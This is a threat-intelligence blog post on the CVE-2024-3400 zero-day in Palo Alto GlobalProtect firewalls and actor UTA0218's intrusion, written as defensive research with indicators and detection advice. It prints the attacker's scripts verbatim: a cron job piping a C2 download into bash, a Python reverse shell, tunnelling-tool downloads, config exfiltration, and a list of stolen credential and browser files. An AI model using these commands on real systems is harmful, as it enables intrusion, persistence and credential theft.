2024-04-18
Security Team
Critical Zero-Day Exploit: Vulnerability in Palo Alto Networks GlobalProtect Firewall Devices
Threat Intelligence
Advanced Persistent Threats
Threat Hunting
Cyber Investigations

Volexity's recent discovery on April 10,2024, unveiled a significant zero-day exploit targeting the GlobalProtectfeature of Palo Alto Networks PAN-OS within one of its network securitymonitoring (NSM) customers. This exploit granted the threat actor, known as UTA0218,the ability to execute remote code without authentication, thereby compromisingthe firewall device remotely. With this foothold, the attacker proceeded toestablish a reverse shell, deploy supplementary tools such as the UPSTYLEbackdoor, and prioritize the extraction of configuration data to facilitatelateral movement across victim organizations.

Further investigation revealed identicalexploitation at another NSM customer on April 11, 2024, indicating acoordinated attack. Volexity collaborated with its customer and Palo AltoNetworks Product Security Incident Response Team (PSIRT) to confirm thevulnerability as an OS command injection issue (CVE-2024-3400) with a CVSS basescore of 10.0. Palo Alto Networks issued an advisory with a threat protectionsignature and a fix timeline, expected by April 14, 2024.

The threat actor's tactics includedattempting to deploy a custom Python backdoor named UPSTYLE on the firewall andleveraging additional tools from remote servers to facilitate access tointernal networks. Evidence suggested reconnaissance activity dating back toMarch 26, 2024, with the attacker testing vulnerability by placing zero-bytefiles on firewall devices. Successful exploitation attempts occurred on April10 and 11, 2024.

                                                         

Figure1: Discovery & Reporting Timeline (Source: Volexity)

UTA0218's post-exploitation tacticsinvolved using privileged service accounts like SMB and WinRM for lateralmovement within internal networks. Their data theft operations targeted variousWindows-related information, including the Active Directory database andspecific browser data. The attacker's infrastructure consisted ofcommand-and-control channels for communication and anonymized sources for toolaccess and interaction with victim systems. Volexity's analysis did not detectany intersections with other threat actors within their monitoring scope.Organizations are advised to vigilantly monitor network traffic and device logsfor signs of compromise, such as unusual HTTP requests and SMB/RDP connectionsoriginating from the firewall appliance, while also conducting proactive checksfor indications of lateral movement on internal infrastructure

Analysis

Volexity utilized data from its networksecurity sensors, client endpoint detection and response (EDR) software, andforensic analysis of multiple systems to comprehensively outline the attacker'sactivities in the investigated incidents. Here are the key findings:

  • Exploitation of a zero-day vulnerability in Palo Alto Global Protect firewall devices enabled unauthenticated remote code execution, leading to actions such as creating a reverse shell, tool downloading, configuration data exfiltration, and lateral movement.
  • The threat actor devised and attempted to deploy a new python-based backdoor known as UPSTYLE.
  • The earliest evidence of exploitation was detected by Volexity on March 26, 2024, suggesting successful verification of the exploit.
  • Initial persistence mechanisms involved configuring a cron job to retrieve a payload from a URL controlled by the attacker, executing specific commands, and downloading tools like GOST (GO Simple Tunnel).
  • In one instance, attackers utilized a service account associated with the Palo Alto firewall, a member of the domain admins group, to pivot internally via SMB and WinRM.
  • UTA0218's primary goals included obtaining domain backup DPAPI keys, targeting NTDS.DIT file for Active Directory credentials, and stealing cookies, login data, and DPAPI keys from user workstations. For a more detailed description, refer to the subsequent sections.

 

UPSTYLE Backdoor

On two occasions, UTA0218 made attempts todownload and run a backdoor referred to as UPSTYLE by Volexity. Two versions ofthis tool were observed, each with minor discrepancies in the files. In oneinstance, UTA0218 used the filename "update.py" in its attempt.Although UTA0218 tried to download and execute this file via CVE-2024-3400, theattempt was unsuccessful. Nevertheless, Volexity managed to retrieve the filefor further analysis.

Name(s)

update.py

Size

5.1KB (5187 Bytes)

File Type

text/plain

MD5

0c1554888ce9ed0da1583dbdf7b31651

SHA1

988fc0d23e6e30c2c46ccec9bbff50b7453b8ba9

SHA256

3de2a4392b8715bad070b2ae12243f166ead37830f7c6d24e778985927f9caac

VirusTotal First Submitted

N/A

 

The update.py script is designed to implanta backdoor in the directory /usr/lib/python3.6/site-packages/system.pth. ThisPython-based backdoor begins with an import statement, with its core contentencoded in base64 format. Using the .pth extension allows appending extra pathsto a Python module. Since Python 3.5, lines starting with "import"followed by a space or tab in .pth files are executed automatically. Hence,upon module import, the malicious code executes seamlessly. The attacker craftscommands by triggering a request to a nonexistent web page with a specificpattern. Subsequently, the backdoor scans the web server error log(/var/log/pan/sslvpn_ngx_error.log) for this pattern, decodes and executes anyembedded commands. The command output is then appended to a CSS file(/var/appweb/sslvpndocs/global-protect/portal/css/bootstrap.min.css), alegitimate part of the firewall. Once executed, the log entry containing thecommand is deleted, and the original version of bootstrap.min.css is restored, alongwith its access and modification timestamps. Figure 1 illustrates the main loopof UPSTYLE.

                                                    

Figure2:  UPSTYLE main loop (Source:Volexity)

                                                        

Figure3:  UPSTYLE workflow (Pic Source:Volexity)

Post-exploitation Activity

The following filenames and indicators arerelated to the exploitation that occurred on April 10, 2024. However, thereader should note that in subsequent exploitation, these files were altered byUTA0218 for different victims. Their purpose and operation, however, werefundamentally the same.

After exploitation, the threat actorestablished persistence by continuously fetching and executing the contents ofa file named patch. When executed, this file downloads and executes a remotelyhosted file named policy. By modifying the contents of the policy file, thethreat actor was able to execute a variety of commands on the compromiseddevice. A total of six different permutations of the policy file were observedby Volexity.

The details of the patch file are shownbelow:

Name(s)

patch

Size

160.0B (160 Bytes)

File Type

text/plain

MD5

d31ec83a5a79451a46e980ebffb6e0e8

SHA1

a7c6f264b00d13808ceb76b3277ee5461ae1354e

SHA256

35a5f8ac03b0e3865b3177892420cb34233c55240f452f00f9004e274a85703c

VirusTotal First Submitted

N/A

The contents of the patch file are shownbelow:

if [ ! -f '/etc/cron.d/update' ]; then
    printf "SHELL=/bin/bash\n\n* * * * * root wget -qO-http://172.233.228[.]93/policy | bash\n\n" > /etc/cron.d/update
fi

Upon execution, the script first verifiesthe presence of a cron file named "update." If this file is notfound, it creates it and sets up a cron job accordingly. Subsequently, itproceeds to download a file named "policy" from a remote server andexecutes it via bash every 60 seconds. Over time, the attacker manually updatesthe contents of this remote file to retrieve data from the device and establisha reverse shell. Notably, the attacker exhibited manual management of an accesscontrol list for the command-and-control (C2) server, restricting access to theserver's port solely to the device communicating with it.

Malicious Code Executed via Policy File

Six different versions of the policy filewere observed by Volexity. They each represent a different set of actions takenby the threat actor on a compromised device. The numbered versions that followare the order in which they were used by the threat actor.

Version 1

This file contained a one-liner reverseshell written in Python.

Name(s)

policy

Size

287B (287 Bytes)

File Type

text/x-shellscript

MD5

a43e3cf908244f85b237fdbacd8d82d5

SHA1

e1e427c9b46064e2b483f90b13490e6ef522cc06

SHA256

755f5b8bd67d226f24329dc960f59e11cb5735b930b4ed30b2df77572efb32e8

VirusTotal First Submitted

N/A

 

#!/bin/bash
r=`ps -ef | grep "import sys,socket,os" | grep -v grep`
if [[ -z "$r" ]]; then
    python -c "importsys,socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('172.233.228[.]93',443));[os.dup2(s.fileno(),fd)for fd in (0,1,2)];pty.spawn('/bin/bash')"
fi

Version 2

The attacker removed any previously createdCSS files containing various attacker command output, and then copied theconfiguration data from the firewall device into a new file, storing thehostname of the device in the CSS file. These files were saved to an externallyaccessible web directory where the attacker could subsequently retrieve them.

Name(s)

policy

Size

216B (216 Bytes)

File Type

text/x-shellscript

MD5

5e4c623296125592256630deabdbf1d2

SHA1

d12b614e9417c4916d5c5bb6ee42c487c937c058

SHA256

adba167a9df482aa991faaa0e0cde1182fb9acfbb0dc8d19148ce634608bab87

VirusTotal First Submitted

N/A

 

#!/bin/bash
rm -f /var/appweb/sslvpndocs/global-protect/*.css
cp /opt/pancfg/mgmt/saved-configs/running-config.xml/var/appweb/sslvpndocs/global-protect/<redacted>.css
uname -a > /var/appweb/sslvpndocs/global-protect/<redacted>.css

Version 3

This file was used to remove CSS filescreated in the previous step.

Name(s)

policy

Size

62B (62 Bytes)

File Type

text/x-shellscript

MD5

87312a7173889a8a5258c68cac4817bd

SHA1

3ad9be0c52510cbc5d1e184e0066d14c1f394d4d

SHA256

c1a0d380bf55070496b9420b970dfc5c2c4ad0a598083b9077493e8b8035f1e9

VirusTotal First Submitted

N/A

 

#!/bin/bash
rm -f /var/appweb/sslvpndocs/global-protect/*.css

Version 4

This version attempts to download a Golangtunneling tool named GOST andexecute it with two different command-line options to establish SOCKS5 and RTCPtunnels. However, the threat actor appears to have failed to successfullydownload the tool on this attempt.

Name(s)

policy

Size

388B (388 Bytes)

File Type

text/x-shellscript

MD5

b9f5e9db9eec8d1301026c443363cf6b

SHA1

d7a8d8303361ffd124cb64023095da08a262cab4

SHA256

fe07ca449e99827265ca95f9f56ec6543a4c5b712ed50038a9a153199e95a0b7

VirusTotal First Submitted

N/A

 

#!/bin/bash
wget http://172.233.228[.]93/vpn_prot.gz -O /tmp/vpn_prot.gz
ls -l /tmp/vpn_prot.gz > /var/appweb/sslvpndocs/global-protect/u.css
gzip -d /tmp/vpn_prot.gz
chmod +x /tmp/vpn_prot
nohup /tmp/vpn_prot -L=socks5://127.0.0[.]1:8123 > /dev/null 2>&1&
nohup /tmp/vpn_prot -L rtcp://127.0.0[.]1:8080/127.0.0[.]1:8123 -Fssh://user0:[password_redacted]@172.233.228[.]93:8443?ping=180 > /dev/null2>&1 &

Version 5

This is a modified version of Version 4that successfully downloads GOST in a base64-encoded format.

Name(s)

policy

Size

421B (421 Bytes)

File Type

text/x-shellscript

MD5

12b5e30c2276664e87623791085a3221

SHA1

f99779a5c891553ac4d4cabf928b2121ca3d1a89

SHA256

96dbec24ac64e7dd5fef6e2c26214c8fe5be3486d5c92d21d5dcb4f6c4e365b9

VirusTotal First Submitted

N/A

#!/bin/bash
wget http://172.233.228[.]93/vpn.log -O /tmp/vpn.log
base64 -d /tmp/vpn.log > /tmp/vpn_prot.gz
ls -l /tmp/vpn_prot.gz > /var/appweb/sslvpndocs/global-protect/u.css
gzip -d /tmp/vpn_prot.gz
chmod +x /tmp/vpn_prot
nohup /tmp/vpn_prot -L=socks5://127.0.0[.]1:8123 > /dev/null 2>&1&
nohup /tmp/vpn_prot -L rtcp://127.0.0[.]1:8080/127.0.0.1:8123 -Fssh://user0:[password_redacted]@172.233.228[.]93:8443?ping=180 > /dev/null2>&1 &

The details of the GOST sample are asfollows:

Name(s)

gost-linux-amd64

Size

12.9MB (13578240 Bytes)

File Type

ELF

MD5

089801d87998fa193377b9bfe98e87ff

SHA1

4ad043c8f37a916761b4c815bed23f036dfb7f77

SHA256

448fbd7b3389fe2aa421de224d065cea7064de0869a036610e5363c931df5b7c

VirusTotal First Submitted

2023-01-29 01:30:47 UTC | af632c50 (api) - Unknown US

Version 6

This file contains commands to download andexecute an open-sourcereverse shell that operates over SSH. The threat actor configures this shell torun on port 31289.

Name(s)

policy(6)

Size

189.0B (189 Bytes)

File Type

text/x-shellscript

MD5

724c8059c150b0f3d1e0f80370bcfe19

SHA1

5592434c40a30ed2dfdba0a86832b5f2eaaa437c

SHA256

e315907415eb8cfcf3b6a4cd6602b392a3fe8ee0f79a2d51a81a928dbce950f8

VirusTotal First Submitted

N/A

#!/bin/bash
wget http://172.233.228[.]93/lowdp -O /tmp/lowdp
ls -l /tmp/lowdp > /var/appweb/sslvpndocs/global-protect/u.css
chmod +x /tmp/lowdp
nohup /tmp/lowdp -l -p 31289 > /dev/null 2>&1 &

Details of the binary are shown below:

Name(s)

reverse-sshx64

Size

3.5MB (3690496 Bytes)

File Type

ELF

MD5

427258462c745481c1ae47327182acd3

SHA1

ef8036eb4097789577eff62f6c9580fa130e7d56

SHA256

161fd76c83e557269bee39a57baa2ccbbac679f59d9adff1e1b73b0f4bb277a6

VirusTotal First Submitted

2022-08-08 18:30:19 UTC | 1c0b809a (web) - Unknown NL

 

Lateral Movement & Data theft

In an instance of successful compromise,the attacker utilized a highly privileged service account associated with thePalo Alto Networks firewall device to infiltrate the internal network via SMBand WinRM protocols. The targeted data encompassed critical elements such asthe Active Directory database (ntds.dit), essential data (DPAPI), and Windowsevent logs(Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx).Furthermore, apart from Windows-related information, the attacker exfiltratedLogin Data, Cookies, and Local State data from Chrome and Microsoft Edge onspecific targets. Leveraging this information, the attacker managed to obtainthe browser master key and decrypt sensitive data, including storedcredentials.

Top ofForm

The list of files grabbed by the attackeris below:

%LOCALAPPDATA%\Google\Chrome\UserData\Default\Login Data
%LOCALAPPDATA%\Google\Chrome\User Data\Default\Network
%LOCALAPPDATA%\Google\Chrome\User Data\Default\Network\Cookies
%LOCALAPPDATA%\Google\Chrome\User Data\Local State
%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Login Data
%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Network
%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Network\Cookies
%LOCALAPPDATA%\Microsoft\Edge\User Data\Local State
%APPDATA%\Roaming\Microsoft\Protect\<SID> -> DPAPI Keys
%SystemRoot%\NTDS\ntds.dit
%SystemRoot%\System32\winevt\Logs\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx

UTA0218 refrained from deploying malware oremploying additional persistence methods on systems within victim networks,likely influenced by the swift detection and response efforts by Volexity andits clients. However, the stolen data enabled the attacker to successfullycompromise credentials for all domain accounts. Furthermore, the attackerobtained access and may potentially utilize valid credentials or cookiesextracted from browser data on specific user workstations accessed during thebreach.

Infrastructure

Volexity observed UTA0218 utilizing adiverse range of infrastructure in their operations, which can be broadlycategorized into two types:

·      Command and control (C2)infrastructure hosting malware, utilized for establishing communicationchannels.

·      Anonymized sourceinfrastructure, employed for accessing tools and interacting with victiminfrastructure.

The anonymized infrastructure seemed toinvolve a combination of VPN usage and potentially compromised ASUS routers,facilitating access to files created by the attacker. Furthermore, UTA0218exploited a compromised AWS bucket and various Virtual Private Server (VPS)providers to store malicious files. Notably, the infrastructure identified byVolexity currently exhibits no overlaps with other threat actors withinVolexity's scope..

Detecting Compromise

There are two main approaches to detectingcompromise on a affected firewall device. The first method involves monitoringnetwork traffic and activities originating from Palo Alto Networks firewalldevices. Volexity is currently coordinating with Palo Alto Networks on thesecond method and will provide further details in a future update. Thesubsequent section outlines actions organizations can take to identifyindicators of compromise, any of which can indicate a compromised Palo AltoNetworks GlobalProtect firewall device. If signs of compromise are detected,please refer to the "Responding to Compromise" section forappropriate steps to take next.

Network Traffic Analysis

Volexity initially detected activityleading to the discovery of Palo Alto Networks GlobalProtect firewall deviceexploitation through alerts for malicious network requests from Volexity's NSMsensors. Analyzing network traffic logs for outbound and inbound connections toand from the GlobalProtect device can unveil suspicious behavior. Notableexamples of compromised GlobalProtect devices include direct-to-IP HTTPrequests via wget, uncommon SMB/RDP connections across the network, SMB filetransfers of browser data or ntds.dit files, and HTTP requests toworldtimeapi[.]org/api/timezone/etc/utc. While some of these activities mayoccur in larger environments, their origin from the firewall device is unusual,prompting further investigation. Leveraging customer Endpoint Detection andResponse (EDR) software, Volexity proactively investigated alerts for SMB dataexfiltration, combining network visibility and EDR telemetry to comprehensivelymap the attacker's access to compromised systems..

GlobalProtect Firewall Device LogAnalysis

During Volexity's incident responseinvestigations, affected customers successfully created a tech support filefrom the compromised firewall devices. This file, an archive containing dataused by Palo Alto Networks tech support to troubleshoot firewall issues, alsoincludes logs flagged by Volexity for key forensic artifacts, aiding inpotential compromise detection. Palo Alto GlobalProtect system administratorscan generate this file through the WebGUI's Device or Panorama tab, accessingthe "Support" page and selecting "Generate Tech SupportFile." Alternatively, they can use command-line interface commands for thesame purpose:

  • tftp export tech-support to <tftp host>
  • scp export tech-support to <username@host:path>

More information on this process from PaloAlto Networks can be found here.

Explore Related Posts

Critical Zero-Day Exploit: Vulnerability in Palo Alto …
Threat Intelligence
Advanced Persistent Threats
Threat Hunting
Cyber Investigations
2024-04-18
Security Team
AT&T Data Breach Update: 51 Million Customers …
Cyber Attack
Advanced Persistent Threats
2024-04-18
Security Team
Unveiling the XZ Utils Backdoor (CVE-2024-3094): Insights …
Threat Intelligence
Threat Landscape Overview
Threat Hunting
2024-04-18
Security Team